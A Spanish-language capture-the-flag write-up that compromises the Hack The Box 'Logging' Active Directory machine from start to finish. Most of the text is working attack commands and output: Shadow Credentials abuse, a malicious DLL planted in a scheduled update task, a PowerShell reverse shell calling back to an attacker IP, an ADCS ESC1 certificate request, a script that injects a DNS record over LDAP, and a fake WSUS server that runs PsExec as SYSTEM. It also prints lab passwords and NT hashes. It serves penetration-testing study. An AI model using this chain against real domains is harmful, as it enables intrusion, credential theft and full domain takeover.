Logging WriteUp
Table of Contents
Logging es una máquina de dificultad 🟧 Media de Hack The Box, y es de esas de Active Directory en las que vas encadenando un fallo detrás de otro hasta quedarte con todo el dominio. Empezamos leyendo una contraseña en texto plano que alguien dejó tirada en un log, abusamos de permisos sobre una cuenta gMSA para sacar su hash, saltamos a otro usuario con un DLL hijacking en una tarea programada, y para el final nos pedimos un certificado de ADCS por ESC1 y suplantamos un servidor WSUS para ejecutar código como SYSTEM en el Domain Controller. Suena a mucho, pero lo vamos a ir viendo con calma y por partes.
🗺️ Cadena de Ataque
Reconocimiento → AD DC, puertos 88, 389, 445, 5985, 8530-8531
│
▼
SMB \\DC01\Logs → IdentitySync_Trace.log → svc_recovery:Em3rg3ncyPa$$2026
│
▼
svc_recovery (GenericWrite sobre MSA_HEALTH$) → Shadow Credentials → NT hash
│
▼
evil-winrm como msa_health$ → DLL hijack en UpdateMonitor → shell jaylee.clifton
│
▼
user.txt → C:\Users\jaylee.clifton\Desktop\user.txt
│
▼
ADCS ESC1 (template UpdateSrv) → certificado wsus.logging.htb
│
▼
DNS injection + WSUS server falso (wsuks) → PsExec como SYSTEM → DA 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.38.171 logging.htb dc01.logging.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1. Descubrimiento rápido de puertos TCP.
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv logging.htb
Fase 2. Detección de versiones y scripts.
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv logging.htb
| Puerto | Servicio | Detalle |
|---|---|---|
53 | DNS | Simple DNS Plus |
80 | HTTP | Microsoft IIS 10.0 |
88 | Kerberos | Microsoft Kerberos |
135 | RPC | Microsoft RPC |
139 | NetBIOS | NetBIOS Session Service |
389 | LDAP | Active Directory LDAP |
445 | SMB | Microsoft SMB |
464 | Kerberos | Kerberos password change |
636 | LDAPS | LDAP sobre TLS |
3268 | LDAP | Global Catalog |
5985 | WinRM | Microsoft HTTPAPI 2.0 |
8530 | HTTP | WSUS (Windows Server Update Services) |
8531 | HTTPS | WSUS sobre TLS |
💡 Los puertos
8530y8531son la firma de WSUS corriendo en el propio Domain Controller. Apúntatelo, porque es la pista del vector de escalada final.
💉 Acceso Inicial
Enumeración de Recursos SMB
Con las credenciales iniciales wallace.everette:Welcome2026@ enumeramos los shares disponibles:
netexec smb logging.htb -u wallace.everette -p 'Welcome2026@' --shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
Logs READ
NETLOGON READ Logon server share
SYSVOL READ Logon server share
WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
🎯 El share
Logstiene permisos de lectura. Lo volcamos completo:
smbclient //logging.htb/Logs -U 'logging.htb\wallace.everette%Welcome2026@' -c 'prompt OFF; mget *'
getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (9.0 KiloBytes/sec) (average 9.0 KiloBytes/sec)
getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (60.5 KiloBytes/sec) (average 34.5 KiloBytes/sec)
getting file \Service_State.log of size 468 as Service_State.log (3.5 KiloBytes/sec) (average 24.6 KiloBytes/sec)
getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (8.6 KiloBytes/sec) (average 20.7 KiloBytes/sec)
Credenciales en Texto Plano en el Log de Sincronización
Entre los ficheros descargados encontramos IdentitySync_Trace_20260219.log. Al revisarlo encontramos credenciales de bind en texto plano:
grep -i "bind" IdentitySync_Trace_20260219.log
BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025"
💡 La contraseña contiene el año
2025. Dado que los logs se generan periódicamente y la rotación de contraseña actualizó el año, probamos con2026:
netexec smb logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026'
logging.htb\svc_recovery:Em3rg3ncyPa$$2026 STATUS_ACCOUNT_RESTRICTION
Sincronización de Reloj (Kerberos)
El Domain Controller tiene el reloj adelantado ~7 horas respecto al sistema atacante. Kerberos rechaza tickets con diferencia horaria superior a 5 minutos, por lo que sincronizamos antes de continuar:
sudo ntpdate logging.htb
Validación con Kerberos
impacket-getTGT 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.38.171
[*] Saving ticket in svc_recovery.ccache
🔎 Enumeración de Active Directory
BloodHound
export KRB5CCNAME=svc_recovery.ccache
bloodhound-ce-python -u svc_recovery -k -no-pass -d logging.htb -ns 10.129.38.171 -dc dc01.logging.htb --zip -c All
🎯 BloodHound revela que
svc_recoverytiene GenericWrite sobre la cuenta gMSAMSA_HEALTH$.
🔑 Abuso de gMSA con Shadow Credentials
🧠 Una cuenta con GenericWrite sobre un objeto de máquina o gMSA puede escribir en el atributo
msDS-KeyCredentialLink, añadiendo una clave pública controlada por el atacante. Esto permite solicitar un TGT como esa cuenta sin conocer su contraseña, técnica conocida como Shadow Credentials.
export KRB5CCNAME=svc_recovery.ccache
bloodyAD -d logging.htb --host dc01.logging.htb -u svc_recovery -k add shadowCredentials 'MSA_HEALTH$'
[+] KeyCredential generated with following sha256 of RSA key: f495014ce5136dc9e63073bf016f4869a3b8d97f2e6548034e79c476917175b9
No outfile path was provided. The certificate(s) will be stored with the filename: sCeXLog5
[+] Saved PEM certificate at path: sCeXLog5_cert.pem
[+] Saved PEM private key at path: sCeXLog5_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem sCeXLog5_cert.pem -key-pem sCeXLog5_priv.pem logging.htb/MSA_HEALTH$ sCeXLog5.ccache
Convertimos PEM a PFX
openssl pkcs12 -export -out msa_health.pfx -inkey sCeXLog5_priv.pem -in sCeXLog5_cert.pem -passout pass:
Nos autenticamos y obtenemos el hash
certipy-ad auth -pfx msa_health.pfx -domain logging.htb -dc-ip 10.129.38.171 -username 'MSA_HEALTH$'
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Got hash for 'msa_health$@logging.htb': aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5
Acceso WinRM como msa_health$
evil-winrm -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
🔀 Movimiento lateral con DLL Hijacking en UpdateMonitor
Enumeración del Servicio
Transferimos PrivescCheck a la víctima sirviendo el script con goshs:
goshs -d ~/http -p 80 -i 0.0.0.0
Desde la sesión WinRM descargamos y ejecutamos el análisis completo:
mkdir C:\Temp
iwr http://10.10.14.100/PrivescCheck.ps1 -OutFile C:\Temp\PrivescCheck.ps1
Set-ExecutionPolicy Bypass -Scope process -Force
cd c:\temp
. C:\Temp\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report $env:COMPUTERNAME`_privcheck -Format TXT,CSV,HTML
Para exfiltrar los informes generados levantamos un servidor SMB en el atacante:
sudo impacket-smbserver -comment "SHARE" SMB /home/jolmedo/smb -smb2support -user test -password test
Montamos la unidad y copiamos los tres archivos de una sola vez:
net use k: \\10.10.14.100\smb /user:test test
copy C:\Temp\*_privcheck* k:\
🎯 PrivescCheck detecta una tarea programada que ejecuta
UpdateMonitor.exeen el contexto dejaylee.clifton. El binario buscaC:\ProgramData\UpdateMonitor\Settings_Update.zip, lo descomprime y cargasettings_update.dllinvocando la función exportadaPreUpdateCheck.
Confirmamos leyendo el XML de la tarea directamente (la ruta del fichero es legible aunque el directorio no lo sea):
Get-Content "C:\Windows\System32\Tasks\UpdateChecker Agent"
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Principals>
<Principal id="Author">
<UserId>LOGGING\jaylee.clifton</UserId>
<LogonType>Password</LogonType>
</Principal>
</Principals>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT3M</Interval>
</Repetition>
</TimeTrigger>
</Triggers>
<Actions Context="Author">
<Exec>
<Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>
<Arguments>500 /scan=3 /autofix=true</Arguments>
</Exec>
</Actions>
</Task>
🎯 La tarea se ejecuta como
LOGGING\jaylee.cliftoncada 3 minutos lanzandoUpdateMonitor.exe. Y lo mejor,msa_health$tiene permisos de escritura enC:\ProgramData\UpdateMonitor\, así que podemos colarle ahí un ZIP malicioso.
Análisis del Binario
Exfiltramos UpdateMonitor.exe para analizarlo en el atacante:
copy "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" k:\
Con strings extraemos los literales UTF-16LE del ensamblado .NET:
strings -e l UpdateMonitor.exe | grep -iE "zip|dll|PreUpdateCheck|ProgramData|Settings|update"
C:\ProgramData\UpdateMonitor\Logs\monitor.log
C:\ProgramData\UpdateMonitor\Settings_Update.zip
C:\Program Files\UpdateMonitor\bin\
settings_update.dll
Starting Sentinel Update Check...
Checking for update on core server...
Info: Core did not find file Settings_Update.zip
Checking for update on local server...
Successfully unzipped update to
Update failed:
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
Loading update applier:
Update check completed.
PreUpdateCheck
Calling 'PreUpdateCheck' in
'PreUpdateCheck' not found in
El binario implementa un mecanismo de actualización que sigue este flujo:
- Busca
C:\ProgramData\UpdateMonitor\Settings_Update.zip - Extrae el contenido a
C:\Program Files\UpdateMonitor\bin\ - Carga
settings_update.dlldesde esa ruta - Invoca la función exportada
PreUpdateCheck()
🧠 Este patrón simula un sistema de actualización que distribuye parches como archivos ZIP. Abusamos del mecanismo colocando un ZIP malicioso en
C:\ProgramData\UpdateMonitor\(directorio escribible pormsa_health$). La DLL tiene que ir en la raíz del ZIP para que se extraiga directamente enbin\. Si la metes en una subcarpeta, el binario no la encuentra.
Compilación de la DLL Maliciosa
En nuestra máquina atacante generamos la DLL. La función PreUpdateCheck lanza una reverse shell:
#include <windows.h>
#include <stdlib.h>
__declspec(dllexport) void PreUpdateCheck(void) {
system("cmd /c powershell -e <BASE64_REVERSE_SHELL>");
}
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
if (r == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(h);
return TRUE;
}
Generamos el payload en base64:
LHOST=10.10.14.100
LPORT=8443
PAYLOAD="\$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length))-ne 0){;\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$sb=(iex \$d 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$n=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$n,0,\$n.Length);\$s.Flush()}"
echo -n "$PAYLOAD" | iconv -t utf-16le | base64 -w0
Compilamos para 32-bit (el proceso UpdateMonitor es x86):
i686-w64-mingw32-gcc -shared -o settings_update.dll shell.c -s
Empaquetamos en ZIP:
zip -j Settings_Update.zip settings_update.dll
Subida y Disparo
Copiamos el ZIP desde el share SMB que ya tenemos montado. Lo hacemos así porque el comando upload de evil-winrm se lía con las rutas absolutas de Windows, las toma como un nombre de fichero literal y te deja el archivo en el directorio actual en vez de en el destino que le indicas.
copy k:\Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip
Preparamos el listener:
penelope -p 8443
La tarea programada se ejecuta cada 3 minutos. Al dispararse, recibimos una shell de jaylee.clifton:
[+] Got reverse shell from DC01~10.129.40.143-Microsoft_Windows_Server_2019_Standard-x64-based_PC
Assigned SessionID <8>
Flag de Usuario
type C:\Users\jaylee.clifton\Desktop\user.txt
🔺 Escalada de Privilegios
Enumeración de ADCS y ESC1
🧠 ESC1 es una mala configuración en las plantillas de ADCS en la que quien pide el certificado puede indicar el Subject Alternative Name (SAN) que le dé la gana. Si encima la plantilla sirve para autenticación de servidor, podemos pedirnos un certificado TLS válido para el hostname que queramos. Aquí lo vamos a usar para hacernos pasar por el servidor WSUS.
Para enumerar ADCS solo necesitamos acceso LDAP autenticado, no hace falta la contraseña de jaylee.clifton. Nos vale el hash NT de msa_health$ que ya tenemos.
certipy-ad find \
-u 'msa_health$@logging.htb' \
-hashes :603fc24ee01a9409f83c9d1d701485c5 \
-target DC01.logging.htb -dc-ip 10.129.40.143 \
-stdout -enabled
Certificate Authorities
0
CA Name : logging-DC01-CA
DNS Name : DC01.logging.htb
Certificate Subject : CN=logging-DC01-CA, DC=logging, DC=htb
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Access Rights
Enroll : LOGGING.HTB\Authenticated Users
Certificate Templates
0
Template Name : UpdateSrv
Display Name : UpdateSrv
Certificate Authorities : logging-DC01-CA
Enabled : True
Client Authentication : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Authorized Signatures Required : 0
Validity Period : 10 years
Permissions
Enrollment Permissions
Enrollment Rights : LOGGING.HTB\IT
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
🎯 La plantilla
UpdateSrves vulnerable a ESC1. TieneEnrolleeSuppliesSubjecthabilitado, no pide aprobación de ningún manager y sirve paraServer Authentication. Y quien puede pedir el certificado es el grupo IT, del quejaylee.cliftones miembro.
Obtención del TGT de jaylee.clifton
Para pedir el certificado necesitamos autenticarnos como jaylee.clifton, que está en el grupo IT, pero no tenemos su contraseña. Aquí entra Rubeus tgtdeleg. Como la tarea programada se ejecuta con LogonType: Password, hay una sesión Kerberos de verdad con su TGT en memoria, y con tgtdeleg lo sacamos.
iwr http://10.10.14.100/Rubeus.exe -OutFile C:\Temp\Rubeus.exe
C:\Temp\Rubeus.exe tgtdeleg /nowrap
[*] Action: Request Fake Delegation TGT (current user)
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.logging.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZhggTC...
En el atacante convertimos el ticket a formato ccache:
echo "<BASE64>" | base64 -d > jaylee.kirbi
impacket-ticketConverter jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccache
Solicitud del Certificado para wsus.logging.htb
Antes de pedir el certificado sincronizamos el reloj otra vez, que Kerberos rechaza los tickets si hay más de 5 minutos de diferencia horaria.
sudo ntpdate logging.htb
certipy-ad req \
-u 'jaylee.clifton@logging.htb' -k \
-dc-ip 10.129.40.143 \
-target dc01.logging.htb \
-ca 'logging-DC01-CA' \
-template 'UpdateSrv' \
-dns 'wsus.logging.htb' \
-out wsus
[+] Saved certificate and private key to 'wsus.pfx'
Extraemos cert y clave para el servidor WSUS:
openssl pkcs12 -in wsus.pfx -out wsus_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus.pfx -out wsus_key.pem -nocerts -nodes -passin pass:
Inyección de Registro DNS
Apuntamos wsus.logging.htb a nuestra IP. Primero creamos una cuenta de máquina para autenticarnos vía LDAP:
impacket-addcomputer \
-computer-name 'attacker01$' -computer-pass 'SuperP@ss!' \
-hashes ':603fc24ee01a9409f83c9d1d701485c5' \
-dc-ip 10.129.198.221 'logging.htb/msa_health$'
Inyectamos el registro A vía LDAP:
python3 dns_inject.py # ver script completo en el repo
import ldap3, struct
ATTACKER_IP = '<TU_IP>'
ip = bytes(int(x) for x in ATTACKER_IP.split('.'))
record = struct.pack('<HHBBHIIII', 4, 1, 5, 0xF0, 0, 1, 180, 0, 0) + ip
s = ldap3.Server('10.129.198.221', port=389)
c = ldap3.Connection(s, user='logging.htb\\attacker01$', password='SuperP@ss!',
authentication=ldap3.NTLM, auto_bind=True)
c.add('DC=wsus,DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb',
['top', 'dnsNode'],
{'dnsRecord': [record], 'dnsTombstoned': 'FALSE'})
print(c.result)
python3 dns_inject.py
# {'result': 0, 'description': 'success', ...}
Servidor WSUS Falso
wsuks ya trae su propio PsExec64.exe firmado por Microsoft, así que no hace falta que lo descargues por tu cuenta.
Instalamos wsuks con un venv que tenga acceso a los paquetes del sistema, necesario para los bindings Python de nftables:
sudo apt install python3-nftables -y
python3 -m venv --system-site-packages ~/venvs/wsuks
~/venvs/wsuks/bin/pip install wsuks
--tls-cert acepta un único fichero, así que combinamos cert y clave en un PEM:
cat wsus_cert.pem wsus_key.pem > wsus.pem
wsuks resuelve el hostname del servidor WSUS en local para saber en qué IP ponerse a escuchar, y esa IP tiene que ser la misma que inyectamos en el DNS del dominio, o sea la de tu VPN. Así que la añadimos en el /etc/hosts.
echo "10.10.14.100 wsus.logging.htb" | sudo tee -a /etc/hosts
⚠️ Si
/etc/hostsya tiene una entrada previa dewsus.logging.htbcon otra IP, elimínala primero:sudo sed -i '/wsus.logging.htb/d' /etc/hosts
sudo ~/venvs/wsuks/bin/wsuks --serve-only -I tun0 \
--WSUS-Server wsus.logging.htb \
--tls-cert wsus.pem \
-c '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'
[*] HTTPS WSUS listening on 0.0.0.0:8531
[*] Waiting for DC to check for updates...
Forzar Windows Update en el DC
Desde la shell de jaylee.clifton:
Stop-Service wuauserv -Force
Remove-Item 'C:\Windows\SoftwareDistribution' -Recurse -Force
Start-Service wuauserv
wuauclt /resetauthorization /detectnow
usoclient StartScan
El DC contacta nuestro servidor WSUS falso, descarga y ejecuta PsExec64.exe como NT AUTHORITY\SYSTEM, que añade msa_health$ al grupo local de administradores.
__ __ _____ _ _ _ __ _____
\ \ / // ____|| | | || |/ / / ____|
\ \ /\ / /| (___ | | | || ' / | (___
\ \/ \/ / \___ \ | | | || < \___ \
\ /\ / ____) || |__| || . \ ____) |
\/ \/ |_____/ \____/ |_|\_\|_____/
Pentesting Tool for the WSUS MITM Attack
Made by NeffIsBack
version: 1.2.1
[+] Command to execute:
PsExec64.exe /accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"
[*] ===== Starting Web Server =====
[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.14.100:8531...
[*] Serving executable as KB: 1581884
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"
[+] Received GET request: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe
[+] GET request for exe: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe
[+] Received GET request: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe
[+] GET request for exe: /adb45f81-3212-4d21-b0f0-1e7d5183c445/PsExec64.exe
Flag de Root
Con msa_health$ ahora administrador local, accedemos via WinRM y leemos la flag:
evil-winrm -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
type C:\Users\toby.brynleigh\Desktop\root.txt
Un saludo, nos vemos en la próxima máquina.

